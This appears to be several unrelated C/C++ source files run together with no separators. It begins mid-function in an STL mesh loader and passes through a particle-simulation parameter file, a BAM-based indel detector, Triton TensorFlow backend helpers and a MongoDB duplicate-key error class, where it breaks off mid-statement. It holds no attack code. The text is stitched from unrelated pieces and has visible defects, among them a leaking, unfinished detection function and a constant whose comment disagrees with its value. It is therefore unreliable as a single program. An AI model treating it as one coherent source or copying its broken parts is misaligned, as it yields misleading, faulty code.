{}; if (!stref_nextword(line, word)) continue; if (stref_equals(word, "facet")) { if (stref_nextword(line, word) && stref_equals(word, "normal")) { normal = {}; if (stref_nextword(line, word)) normal.x = stref_to_f(word); if (stref_nextword(line, word)) normal.y = stref_to_f(word); if (stref_nextword(line, word)) normal.z = stref_to_f(word); } } else if (stref_equals(word, "endfacet")) { arrput(*faces, curr[0]); arrput(*faces, curr[1]); arrput(*faces, curr[2]); if (curr_count == 4) { arrput(*faces, curr[0]); arrput(*faces, curr[2]); arrput(*faces, curr[3]); } curr_count = 0; } else if (stref_equals(word, "vertex")) { if (curr_count != 4) { vec3 pt = {}; if (stref_nextword(line, word)) pt.x = stref_to_f(word); if (stref_nextword(line, word)) pt.y = stref_to_f(word); if (stref_nextword(line, word)) pt.z = stref_to_f(word); curr[curr_count] = indexof(pt, normal, verts, &indmap); curr_count = mini(4, curr_count + 1); } } } hmfree(indmap); return true; } /////////////////////////////////////////// bool modelfmt_stl(model_t model, const char *filename, void *file_data, size_t file_length, shader_t shader) { vert_t *verts = nullptr; vind_t *faces = nullptr; bool result = file_length > 5 && memcmp(file_data, "solid", sizeof(char) * 5) == 0 ? modelfmt_stl_text (file_data, file_length, &verts, &faces) : modelfmt_stl_binary(file_data, file_length, &verts, &faces); // Normalize all the normals for (int i = 0, len = (int)arrlen(verts); i < len; i++) verts[i].norm = vec3_normalize(verts[i].norm); char id[512]; sprintf_s(id, 512, "%s/mesh", filename); mesh_t mesh = mesh_create(); mesh_set_id (mesh, id); mesh_set_verts(mesh, &verts[0], (int)arrlen(verts)); mesh_set_inds (mesh, &faces[0], (int)arrlen(faces)); model_add_subset(model, mesh, shader == nullptr ? material_find("default/material") : material_create(shader), matrix_identity); mesh_release(mesh); arrfree(verts); arrfree(faces); return result; } }source/parameter.cpp1-10 #include "parameter.h" namespace dem { /////////////////////////////////////////////////////////////////////////////////////// // Part A: These parameters do not change frequently /////////////////////////////////////////////////////////////////////////////////////// // PI value const REAL PI = 3.141592653589; // gravitational acceleration const REAL G = 9.8; // EPS (NOT float point relative precision, eps), problem domain dependent const REAL EPS = 1.0e-12; // relative overlap between particles const REAL MINOVERLAP = 1.0e-6; REAL MAXOVERLAP = 5.0e-1; // measurable absolute overlap precision between particles, enabled/disabled by macro MEASURE_EPS const REAL MEPS = 1.0e-8; // 0.1 micron or 0.01 micron // random number seed long idum = -1; // not a constant // particle material property // const REAL YOUNG = 107.8e+9;// quartz sand E = 29GPa REAL YOUNG = 8.0e+9;// quartz sand E = 29GPa REAL POISSON = 0.18; // quartz sand v = 0.25 const REAL Gs = 2.65; // quartz sand Gs = 2.65 // membrane particle material property const REAL memYOUNG = 1.40e+6; // 1.4MPa const REAL memPOISSON = 0.49; // other global variables std::ofstream g_debuginf; // print debugging information std::ofstream g_timeinf; // print time log int g_iteration; // iteration number // output width and precision const int OWID = 16; // 20, output width const int OPREC = 6; // 10, output precision, number of digits after decimal dot /////////////////////////////////////////////////////////////////////////////////////// // Part B: These parameters may change frequently and can be easily edited in main.cpp /////////////////////////////////////////////////////////////////////////////////////// // number of OpenMP threads int NUM_THREADS = 1; // 1. time integration method REAL TIMESTEP = 5.0e-07; // time step REAL MASS_SCL = 1; // mass scaling REAL MNT_SCL = 1; // moment of inertia scaling REAL GRVT_SCL = 1; // gravity scaling REAL DMP_F = 0; // background viscous damping on mass REAL DMP_M = 0; // background viscous damping on moment of inertial // 2. normal damping and tangential friction REAL DMP_CNT = 0.05; // damping ratio of viscous damping for normal contact force, for both particle-particle and particle-boundary contact REAL FRICTION = 0.5; // constant coefficient of static friction between particles REAL BDRYFRIC = 0.5; // constant coefficient of static friction between particle and rigid wall REAL COHESION = 5.0e+8; // cohesion between particles (10kPa) // 3. boundary displacement rate REAL COMPRESS_RATE = 7.0e-03; // 7.0e-03 for triaxial; 1.0e-03 for isotropic and odometer. REAL RELEASE_RATE = 7.0e-03; // the same as above REAL PILE_RATE = 2.5e-01; // pile penetration velocity REAL STRESS_ERROR = 2.0e-02; // tolerance of stress equilibrium on rigid walls } // namespace dem ends src/indel.cxx #include #include #include #include #include #include using std::string; using std::vector; using std::ofstream; using std::ifstream; using std::exception; using std::runtime_error; using std::pair; using std::make_pair; using std::map; using std::cout; using std::cerr; using std::endl; using std::exception; using std::stringstream; //using std::illegal_argument; #include #include #include #include using namespace tkbio; using tktools::util::get_argument_string; using tktools::util::get_argument_integer; using tktools::util::get_argument_float; using tktools::util::has_option; using tktools::split_items; using tktools::bio::convert_chromosome_to_code; using tktools::bio::convert_code_to_chromosome; indel::indel() {} indel::indel(const indel& rhs) { _id = rhs._id; _feature = rhs._feature; _span = rhs._span; _count = rhs._count; _coverage = rhs._coverage; _position = rhs._position; } const indel& indel::operator = (const indel& rhs) { if (&rhs == this) { return *this; } _id = rhs._id; _feature = rhs._feature; _span = rhs._span; _count = rhs._count; _coverage = rhs._coverage; _position = rhs._position; return *this; } indel::indel(int id, int position, int span, bool insertion) { _id = id; _position = position; _span = span;// > 255 ? (unsigned char)0xff : (unsigned char)_span; _count = 1; _feature = insertion ? INSERTION : 0; _coverage = 0; } double indel::heterozygosity() const { if (_coverage <= 0) { return 0.0; } else { return (double)_count / _coverage; } } namespace tkbio { bool operator == (const indel& lhs, const indel& rhs) { return (lhs._id == rhs._id && lhs._position == rhs._position && lhs._span == rhs._span && lhs._feature == rhs._feature); } } namespace { int resolve_bam_span(bam1_t const* read, int quality=0) { int span = 0; uint32_t const* cigar = bam1_cigar(read); int clen = read->core.n_cigar; //cerr << "CIGAR LENGTH " << clen << endl; if (clen < 1) { return 0; } for (int i = 0; i < clen; i++) { int op = bam_cigar_op(cigar[i]); ullong slen = (ullong)bam_cigar_oplen(cigar[i]); //cerr << "CIGAR SECTION SIZE " << slen << " " << __func__ << ":" << __LINE__ << endl; //ullong info = (slen << 32) | position; if (op == BAM_CMATCH || op == BAM_CDIFF || op == BAM_CEQUAL || op == BAM_CINS) { span += slen; } else if (op == BAM_CDEL) { // D, less repeat than reference // } else if (op == BAM_CSOFT_CLIP || op == BAM_CHARD_CLIP) { // S or H break; } else if (op == BAM_CREF_SKIP) { break; } else if (op == BAM_CBACK) { break; } } return span; } } vector indel::parse_indel(bam1_t const* read, int quality) { vector indels; uint32_t const* cigar = bam1_cigar(read); int clen = read->core.n_cigar; if (clen == 0) { return indels; } ullong position = (ullong)(read->core.pos + 1); //bool ends_with_match = false; for (int i = 0; i < clen - 1; i++) { //cerr << i << " " << position << endl; //ends_with_match = false; int op = bam_cigar_op(cigar[i]); ullong slen = (ullong)bam_cigar_oplen(cigar[i]); //ullong info = (slen << 32) | position; if (op == BAM_CMATCH || op == BAM_CDIFF || op == BAM_CEQUAL) { // M //_sections.push_back(FEATURE_MATCH | info); position += slen; //ends_with_match = true; } else if (op == BAM_CINS) { // I, more repeats than reference if (i > 0) { indels.push_back(indel(0, position, slen, true)); } // if (i > 0) { // _sections.push_back(FEATURE_REPEAT_INSERTION | info); // } position += slen; } else if (op == BAM_CDEL) { // D, less repeat than reference if (i > 0) { indels.push_back(indel(0, position, slen, false)); } // if (i > 0) { // _sections.push_back(FEATURE_REPEAT_DELETION | info); // } } else if (op == BAM_CSOFT_CLIP || op == BAM_CHARD_CLIP) { // S or H break; } else if (op == BAM_CREF_SKIP) { break; } else if (op == BAM_CBACK) { break; } } // _stop = position + 1; // if (!ends_with_match) { // _sections.erase(_sections.begin() + _sections.size() - 1); // } return indels; } string indel::to_string() const { stringstream ss; ss << id() << "\t" << position() << "\t" << span() << ":" << (is_insertion() ? "I" : "D" )<< "\t" << count() << "\t" << coverage(); return ss.str(); } namespace { // bool compare_first(const pair& lhs, const pair& rhs) { // return (lhs.first < rhs.first); // } } int indel::detect_multiple_polymorphism(int argc, char** argv) throw (exception) { const char* filename1 = get_argument_string(argc, argv, "i", "/mnt/smb/tae/stap/shira/BAM6/Sample6.bam"); const char* filename_output = get_argument_string(argc, argv, "o", NULL); int coverage = get_argument_integer(argc, argv, "c", 20); bool verbose = has_option(argc, argv, "verbose"); int chunk_size = get_argument_integer(argc, argv, "w", 3000); int margin_size = get_argument_integer(argc, argv, "m", 500); if (verbose) { cerr << "filename : " << filename1 << endl; cerr << "coverage : " << coverage << endl; cerr << "chunk size : " << chunk_size << endl; cerr << "margin : " << margin_size << endl; //cerr << "max reads : " << maximum_reads_in_window << endl; cerr << "output : " << (filename_output == NULL ? "stdout" : filename_output) << endl; // if (use_preset) { // cerr << "preset regions : " << filename_bed << endl; // } } try { ostream* ost = &cout; bamFile bamfile;// = new bamFile[num_files]; bam_header_t* header;//s = new bam_header_t*[num_files]; bam1_t* read;//s = new bam1_t*[num_files]; int num_files = 1; if (filename_output != NULL) { ofstream* fo = new ofstream(filename_output); if (fo->is_open() == false) { throw invalid_argument("cannot open output file"); } ost = fo; } bamfile = bam_open(filename1, "rb"); header = bam_header_read(bamfile); read = bam_init1(); int current_chromosome = -1; int next_chromosome = -1; int position = 0; int next_position = position + chunk_size; int steps = 0; //vector > indels; vector indels; int* cover = new int[num_files]; cover = new int[chunk_size]; for (int j = 0; j < chunk_size; j++) cover[j] = 0; return 0; } catch (exception& e) { throw; } } int indel::detect_indel_polymorphism(int argc, char** argv) throw (exception) { try { const char* filename1 = get_argument_string(argc, argv, "1", "/mnt/smb/tae/stap/shira/BAM6/Sample6.bam"); const char* filename2 = get_argument_string(argc, argv, "2", "/mnt/smb/tae/stap/shira/BAM12/Sample12.bam"); //const char* filename_bed = get_argument_string(argc, argv, "b", NULL); const char* filename_output = get_argument_string(argc, argv, "o", NULL); int coverage = get_argument_integer(argc, argv, "c", 20); double heterozygosity = get_argument_float(argc, argv, "z", 0.5); int chunk_size = get_argument_integer(argc, argv, "w", 3000); int margin_size = get_argument_integer(argc, argv, "m", 500); int size_threshold = get_argument_integer(argc, argv, "t", 6); int num_files = 2; int maximum_reads_in_window = get_argument_integer(argc, argv, "x", 0); bool verbose = has_option(argc, argv, "verbose"); //bool use_preset = filename_bed != NULL; if (verbose) { cerr << "filename 1 : " << filename1 << endl; cerr << "filename 2 : " << filename2 << endl; cerr << "heterozygosity : " << heterozygosity << endl; cerr << "coverage : " << coverage << endl; cerr << "chunk size : " << chunk_size << endl; cerr << "margin : " << margin_size << endl; cerr << "max reads : " << maximum_reads_in_window << endl; cerr << "output : " << (filename_output == NULL ? "stdout" : filename_output) << endl; // if (use_preset) { // cerr << "preset regions : " << filename_bed << endl; // } } ostream* ost = &cout; //str_collection** detectors = new str_collection*[num_files]; bamFile* bamfiles = new bamFile[num_files]; bam_header_t** headers = new bam_header_t*[num_files]; bam1_t** reads = new bam1_t*[num_files]; if (filename_output != NULL) { ofstream* fo = new ofstream(filename_output); if (fo->is_open() == false) { throw invalid_argument("cannot open output file"); } ost = fo; } bamfiles[0] = bam_open(filename1, "rb"); bamfiles[1] = bam_open(filename2, "rb"); for (int i = 0; i < num_files; i++) { headers[i] = bam_header_read(bamfiles[i]); reads[i] = bam_init1(); //detectors[i] = new str_collection(); } if (check_header_consistency(num_files, headers) == false) { throw runtime_error("incompatible bam files"); } int current_chromosome = -1; int next_chromosome = -1; int position = 0; int next_position = position + chunk_size; int steps = 0; //vector > indels; vector indels; int** covers = new int*[num_files]; //vector covers; //vector > covers; for (int i = 0; i < num_files; i++) { // map dummy; // indels.push_back(dummy); covers[i] = new int[chunk_size]; for (int j = 0; j < chunk_size; j++) covers[i][j] = 0; } for (;;) { bool chromosome_change = false; bool finished = false; bool active = true; for (int i = 0; i < num_files; i++) { for (;;) { if (bam_read1(bamfiles[i], reads[i]) > 0) { bam1_t const* r = reads[i]; //if (maximum_reads_in_window <= 0) {// || detectors[i]->size() < maximum_reads_in_window) { if (active) { int position5 = r->core.pos + 1; int position3 = position5 + resolve_bam_span(r); if (position5 < position) position5 = position; if (position3 >= next_position) position3 = next_position; for (int j = position5; j < position3; j++) { covers[i][j - position] ++; } //covers[i].push_back(make_pair(position5, position3)); //cerr << position5 << "-" << position3 << " ==> "; //detectors[i]->add_read(r); vector di = indel::parse_indel(r); for (int j = 0; j < (int)di.size(); j++) { di[j].set_id(i); //int pos = di[j].position(); bool included = false; for (int k = 0; k < (int)indels.size(); k++) { if (indels[k] == di[j]) { indels[k].set_count(indels[k].count() + 1); included = true; break; } } if (!included) { indels.push_back(di[j]); } } } int chrm = r->core.tid; int pos = r->core.pos; if (chrm != current_chromosome) { chromosome_change = true; if (next_chromosome <= 0) { next_chromosome = chrm; } break; } if (pos > next_position) { break; } } else { finished = true; chromosome_change = false; break; } } } // detect gaps and insertions if (current_chromosome >= 0) { if (verbose) {// && !use_preset) { if (++steps % 1000 == 0) { cerr << " " << headers[0]->target_name[current_chromosome] << ":" << position << "-" << next_position << " "; cerr << " \r"; } } //cerr << indels.size() << endl; vector accepted; //vector > accepted; // for (int i = 0; i < (int)covers.size(); i++) { // } for (int i = 0; i < (int)indels.size(); i++) { indel& i1 = indels[i]; if (i1.is_rejected() || i1.span() < size_threshold || i1.count() <= 1) { i1.reject(); continue; } int const* cv = covers[i1.id()]; if (position <= i1.position() && i1.position() < next_position) { i1.set_coverage(cv[i1.position() - position]); } else { continue; } bool rejected = false; for (int j = 0; j < (int)indels.size(); j++) { indel& i2 = indels[j]; if (i1.id() != i2.id() && i1.position() == i2.position() && i1.span() == i2.span()) { i1.reject(); i2.reject(); rejected = true; break; } } //cout << i1.to_string() << " " << i1.heterozygosity() << endl; if (!i1.is_rejected() && i1.coverage() >= coverage) { double h = i1.heterozygosity(); if (heterozygosity <= h && h <= 1.0 - heterozygosity) { *ost << headers[0]->target_name[current_chromosome] << "\t" << i1.to_string() << endl; } } } } if (finished) { break; } if (chromosome_change) { //int pos_min = numeric_limits::max(); if (verbose) { //int total_reads = 0; // for (int i = 0; i < num_files; i++) { // total_reads += detectors[i]->size(); // } if (next_chromosome < 0 || next_chromosome >= headers[0]->n_targets) { finished = true; } else { // if (use_preset == false) { // cerr << "change chromosome to " << headers[0]->target_name[next_chromosome] << endl;//<< ", sweep " << total_reads << "reads from " << position << "\r"; // } } } if (!finished) { // for (int i = 0; i < num_files; i++) { // indels[i].erase(indels[i].begin(), indels[i].end()); // } current_chromosome = next_chromosome; next_chromosome = -1; position = 0;//pos_min; next_position = position + chunk_size; } else { break; } } else { // next position vector remnants; for (int i = 0; i < (int)indels.size(); i++) { if (indels[i].position() >= next_position - margin_size) { remnants.push_back(indels[i]); } } indels = remnants; // //for (int i = 0; i < (int)indels.size(); i++) { // map obj; // for (map::iterator it = indels[i].begin(); it != indels[i].end(); it++) { // if (it->first >= next_position - margin_size) { // obj.insert(*it); // } // } // indels[i] = obj; // } for (int i = 0; i < num_files; i++) { //cerr << i << ":" << chunk_size << ", " << margin_size << endl; memmove(covers[i], covers[i] + chunk_size - margin_size, sizeof(int) * margin_size); for (int j = margin_size; j < chunk_size; j++) { covers[i][j] = 0; } } position = next_position; next_position = position + chunk_size; } } if (filename_output != NULL) { dynamic_cast(ost)->close(); delete ost; ost = &cout; } for (int i = 0; i < num_files; i++) { bam_destroy1(reads[i]); bam_header_destroy(headers[i]); bam_close(bamfiles[i]); delete[] covers[i]; //delete detectors[i]; } //delete[] detectors; delete[] covers; delete[] reads; delete[] headers; delete[] bamfiles; return 0; } catch (exception& e) { throw; return -1; } } // Copyright (c) 2018-2020, NVIDIA CORPORATION. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of NVIDIA CORPORATION nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY // OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "tensorflow_utils.h" #include "triton/backend/backend_common.h" namespace triton { namespace backend { namespace tensorflow { TRITONSERVER_Error* CompareDims( const std::string& model_name, const std::string& tensor_name, const TRITONTF_Shape* model_shape, const std::vector& dims, const bool supports_batching, const bool compare_exact) { // If the model configuration expects batching support in the model, // then the tensorflow shape first dimension must be -1. if (supports_batching) { if ((model_shape->rank_ == 0) || (model_shape->dims_[0] != WILDCARD_DIM)) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INVALID_ARG, (std::string("model '") + model_name + "', tensor '" + tensor_name + "': for the model to support batching the shape should have at " "least 1 dimension and the first dimension must be -1; but shape " "expected by the model is " + ShapeToString(model_shape)) .c_str()); } std::vector full_dims; full_dims.emplace_back(WILDCARD_DIM); full_dims.insert(full_dims.end(), dims.begin(), dims.end()); bool succ = (model_shape->rank_ == (size_t)full_dims.size()); if (succ) { for (size_t i = 0; i < full_dims.size(); ++i) { const int64_t model_dim = model_shape->dims_[i]; if (compare_exact || (model_dim != WILDCARD_DIM)) { succ &= (model_dim == full_dims[i]); } } } if (!succ) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INVALID_ARG, (std::string("model '") + model_name + "', tensor '" + tensor_name + "': the model expects " + std::to_string(model_shape->rank_) + " dimensions (shape " + ShapeToString(model_shape) + ") but the model configuration specifies " + std::to_string(full_dims.size()) + " dimensions (an initial batch dimension because max_batch_size " "> 0 followed by the explicit tensor shape, making complete " "shape " + backend::ShapeToString(full_dims) + ")") .c_str()); } } else { // ! supports_batching bool succ = (model_shape->rank_ == (size_t)dims.size()); if (succ) { for (size_t i = 0; i < dims.size(); ++i) { const int64_t model_dim = model_shape->dims_[i]; if (compare_exact || (model_dim != WILDCARD_DIM)) { succ &= (model_dim == dims[i]); } } } if (!succ) { return TRITONSERVER_ErrorNew( TRITONSERVER_ERROR_INVALID_ARG, (std::string("model '") + model_name + "', tensor '" + tensor_name + "': the model expects " + std::to_string(model_shape->rank_) + " dimensions (shape " + ShapeToString(model_shape) + ") but the model configuration specifies " + std::to_string(dims.size()) + " dimensions (shape " + backend::ShapeToString(dims) + ")") .c_str()); } } return nullptr; // success } const TRITONTF_IO* FindIOByName(const TRITONTF_IOList* ios, const std::string& name) { for (const TRITONTF_IOList* itr = ios; itr != nullptr; itr = itr->next_) { if (itr->io_->name_ == name) { return itr->io_; } } return nullptr; } std::string ShapeToString(const TRITONTF_Shape* shape, const size_t start_idx) { std::string str("["); for (size_t idx = start_idx; idx < shape->rank_; idx++) { if (idx > start_idx) { str += ","; } str += std::to_string(shape->dims_[idx]); } str += "]"; return str; } bool CompareDataType(TRITONTF_DataType model_dtype, const std::string& dtype) { auto cdtype = ConvertDataType(dtype); if (cdtype == TRITONTF_TYPE_INVALID) { return false; } return model_dtype == cdtype; } TRITONSERVER_DataType ConvertDataType(TRITONTF_DataType dtype) { switch (dtype) { case TRITONTF_DataType::TRITONTF_TYPE_INVALID: return TRITONSERVER_TYPE_INVALID; case TRITONTF_DataType::TRITONTF_TYPE_BOOL: return TRITONSERVER_TYPE_BOOL; case TRITONTF_DataType::TRITONTF_TYPE_UINT8: return TRITONSERVER_TYPE_UINT8; case TRITONTF_DataType::TRITONTF_TYPE_UINT16: return TRITONSERVER_TYPE_UINT16; case TRITONTF_DataType::TRITONTF_TYPE_UINT32: return TRITONSERVER_TYPE_UINT32; case TRITONTF_DataType::TRITONTF_TYPE_UINT64: return TRITONSERVER_TYPE_UINT64; case TRITONTF_DataType::TRITONTF_TYPE_INT8: return TRITONSERVER_TYPE_INT8; case TRITONTF_DataType::TRITONTF_TYPE_INT16: return TRITONSERVER_TYPE_INT16; case TRITONTF_DataType::TRITONTF_TYPE_INT32: return TRITONSERVER_TYPE_INT32; case TRITONTF_DataType::TRITONTF_TYPE_INT64: return TRITONSERVER_TYPE_INT64; case TRITONTF_DataType::TRITONTF_TYPE_FP16: return TRITONSERVER_TYPE_FP16; case TRITONTF_DataType::TRITONTF_TYPE_FP32: return TRITONSERVER_TYPE_FP32; case TRITONTF_DataType::TRITONTF_TYPE_FP64: return TRITONSERVER_TYPE_FP64; case TRITONTF_DataType::TRITONTF_TYPE_STRING: return TRITONSERVER_TYPE_BYTES; default: break; } return TRITONSERVER_TYPE_INVALID; } TRITONTF_DataType ConvertDataType(const std::string& dtype) { if (dtype == "TYPE_INVALID") { return TRITONTF_DataType::TRITONTF_TYPE_INVALID; } else if (dtype == "TYPE_BOOL") { return TRITONTF_DataType::TRITONTF_TYPE_BOOL; } else if (dtype == "TYPE_UINT8") { return TRITONTF_DataType::TRITONTF_TYPE_UINT8; } else if (dtype == "TYPE_UINT16") { return TRITONTF_DataType::TRITONTF_TYPE_UINT16; } else if (dtype == "TYPE_UINT32") { return TRITONTF_DataType::TRITONTF_TYPE_UINT32; } else if (dtype == "TYPE_UINT64") { return TRITONTF_DataType::TRITONTF_TYPE_UINT64; } else if (dtype == "TYPE_INT8") { return TRITONTF_DataType::TRITONTF_TYPE_INT8; } else if (dtype == "TYPE_INT16") { return TRITONTF_DataType::TRITONTF_TYPE_INT16; } else if (dtype == "TYPE_INT32") { return TRITONTF_DataType::TRITONTF_TYPE_INT32; } else if (dtype == "TYPE_INT64") { return TRITONTF_DataType::TRITONTF_TYPE_INT64; } else if (dtype == "TYPE_FP16") { return TRITONTF_DataType::TRITONTF_TYPE_FP16; } else if (dtype == "TYPE_FP32") { return TRITONTF_DataType::TRITONTF_TYPE_FP32; } else if (dtype == "TYPE_FP64") { return TRITONTF_DataType::TRITONTF_TYPE_FP64; } else if (dtype == "TYPE_STRING") { return TRITONTF_DataType::TRITONTF_TYPE_STRING; } return TRITONTF_DataType::TRITONTF_TYPE_INVALID; } std::string ConvertToModelConfigString(TRITONTF_DataType dtype) { if (dtype == TRITONTF_DataType::TRITONTF_TYPE_INVALID) { return "TYPE_INVALID"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_BOOL) { return "TYPE_BOOL"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_UINT8) { return "TYPE_UINT8"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_UINT16) { return "TYPE_UINT16"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_UINT32) { return "TYPE_UINT32"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_UINT64) { return "TYPE_UINT64"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_INT8) { return "TYPE_INT8"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_INT16) { return "TYPE_INT16"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_INT32) { return "TYPE_INT32"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_INT64) { return "TYPE_INT64"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_FP16) { return "TYPE_FP16"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_FP32) { return "TYPE_FP32"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_FP64) { return "TYPE_FP64"; } else if (dtype == TRITONTF_DataType::TRITONTF_TYPE_STRING) { return "TYPE_STRING"; } return "TYPE_INVALID"; } TRITONTF_DataType ConvertDataType(TRITONSERVER_DataType dtype) { switch (dtype) { case TRITONSERVER_TYPE_INVALID: return TRITONTF_DataType::TRITONTF_TYPE_INVALID; case TRITONSERVER_TYPE_BOOL: return TRITONTF_DataType::TRITONTF_TYPE_BOOL; case TRITONSERVER_TYPE_UINT8: return TRITONTF_DataType::TRITONTF_TYPE_UINT8; case TRITONSERVER_TYPE_UINT16: return TRITONTF_DataType::TRITONTF_TYPE_UINT16; case TRITONSERVER_TYPE_UINT32: return TRITONTF_DataType::TRITONTF_TYPE_UINT32; case TRITONSERVER_TYPE_UINT64: return TRITONTF_DataType::TRITONTF_TYPE_UINT64; case TRITONSERVER_TYPE_INT8: return TRITONTF_DataType::TRITONTF_TYPE_INT8; case TRITONSERVER_TYPE_INT16: return TRITONTF_DataType::TRITONTF_TYPE_INT16; case TRITONSERVER_TYPE_INT32: return TRITONTF_DataType::TRITONTF_TYPE_INT32; case TRITONSERVER_TYPE_INT64: return TRITONTF_DataType::TRITONTF_TYPE_INT64; case TRITONSERVER_TYPE_FP16: return TRITONTF_DataType::TRITONTF_TYPE_FP16; case TRITONSERVER_TYPE_FP32: return TRITONTF_DataType::TRITONTF_TYPE_FP32; case TRITONSERVER_TYPE_FP64: return TRITONTF_DataType::TRITONTF_TYPE_FP64; case TRITONSERVER_TYPE_BYTES: return TRITONTF_DataType::TRITONTF_TYPE_STRING; default: break; } return TRITONTF_DataType::TRITONTF_TYPE_INVALID; } TRITONSERVER_Error* ParseParameter( triton::common::TritonJson::Value& params, const std::string& mkey, bool* value) { std::string value_str; RETURN_IF_ERROR(GetParameterValue(params, mkey, &value_str)); RETURN_IF_ERROR(ParseBoolValue(value_str, value)); return nullptr; } TRITONSERVER_Error* ParseParameter( triton::common::TritonJson::Value& params, const std::string& mkey, int* value) { std::string value_str; RETURN_IF_ERROR(GetParameterValue(params, mkey, &value_str)); RETURN_IF_ERROR(ParseIntValue(value_str, value)); return nullptr; } TRITONSERVER_Error* ParseParameter( triton::common::TritonJson::Value& params, const std::string& mkey, std::string* value) { RETURN_IF_ERROR(GetParameterValue(params, mkey, value)); return nullptr; } }}} // namespace triton::backend::tensorflow /** * Copyright (C) 2018-present MongoDB, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the Server Side Public License, version 1, * as published by MongoDB, Inc. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * Server Side Public License for more details. * * You should have received a copy of the Server Side Public License * along with this program. If not, see * . * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the Server Side Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #include "mongo/platform/basic.h" #include "mongo/db/storage/duplicate_key_error_info.h" #include "mongo/base/init.h" #include "mongo/bson/bsonobjbuilder.h" #include "mongo/util/assert_util.h" #include "mongo/util/hex.h" #include "mongo/util/text.h" #include "mongo/util/visit_helper.h" namespace mongo { namespace { MONGO_INIT_REGISTER_ERROR_EXTRA_INFO(DuplicateKeyErrorInfo); } // namespace DuplicateKeyErrorInfo::DuplicateKeyErrorInfo(const BSONObj& keyPattern, const BSONObj& keyValue, const BSONObj& collation, FoundValue&& foundValue) : _keyPattern(keyPattern.getOwned()), _keyValue(keyValue.getOwned()), _collation(collation.getOwned()), _foundValue(std::move(foundValue)) { if (auto foundValueObj = stdx::get_if(&_foundValue)) { _foundValue = foundValueObj->getOwned(); } } void DuplicateKeyErrorInfo::serialize(BSONObjBuilder* bob) const { bob->append("keyPattern", _keyPattern); // Keep track of which components of the key pattern are hex encoded. std::vector hexEncodedComponents; bool atLeastOneComponentIsHexEncoded = false; BSONObjBuilder keyValueBuilder{bob->subobjStart("keyValue")}; for (const auto& keyValueElem : _keyValue) { const bool shouldHexEncode = keyValueElem.type() == BSONType::String && (!_collation.isEmpty() || !isValidUTF8(keyValueElem.valueStringData())); hexEncodedComponents.push_back(shouldHexEncode); if (shouldHexEncode) { atLeastOneComponentIsHexEncoded = true; keyValueBuilder.append(keyValueElem.fieldName(), hexblob::encodeLower(keyValueElem.valueStringData())); } else { keyValueBuilder.append(keyValueElem); } } keyValueBuilder.doneFast(); // Append a vector of booleans describing which components of the key pattern are hex encoded. if (atLeastOneComponentIsHexEncoded) { BSONArrayBuilder hexEncodedBuilder{bob->subarrayStart("hexEncoded")}; for (auto&& isHex : hexEncodedComponents) { hexEncodedBuilder.appendBool(isHex); } hexEncodedBuilder.doneFast(); } if (!_collation.isEmpty()) { bob->append("collation", _collation); } stdx::visit( visit_helper::Overloaded{ [](stdx::monostate) {}, [bob](const RecordId& rid) { rid.serializeToken("foundValue", bob); }, [bob](const BSONObj& obj) { if (obj.objsize() < BSONObjMaxUserSize / 2) { bob->append("foundValue", obj); } }, }, _foundValue); } std::shared_ptr DuplicateKeyErrorInfo::parse(const BSONObj& obj) { auto keyPattern = obj["keyPattern"].Obj(); BSONObj keyValue; // Determine which components of 'keyValue' are hex encoded that need to be decoded. // If the "hexEncoded" field does not exist, then assume that no decoding is necessary. if (auto hexEncodedElt = obj["hexEncoded"]) { BSONObjIterator isHexEncodedIt(hexEncodedElt.Obj()); BSONObjIterator keyValueElemIt(obj["keyValue"].Obj()); BSONObjBuilder keyValueBuilder; while (isHexEncodedIt.more()) { const auto& keyValueElem = keyValueElemIt.next(); if (isHexEncodedIt.next().Bool()) { keyValueBuilder.append(keyValueElem.fieldName(), hexblob::decode(keyValueElem.checkAndGetStringData())); } else { 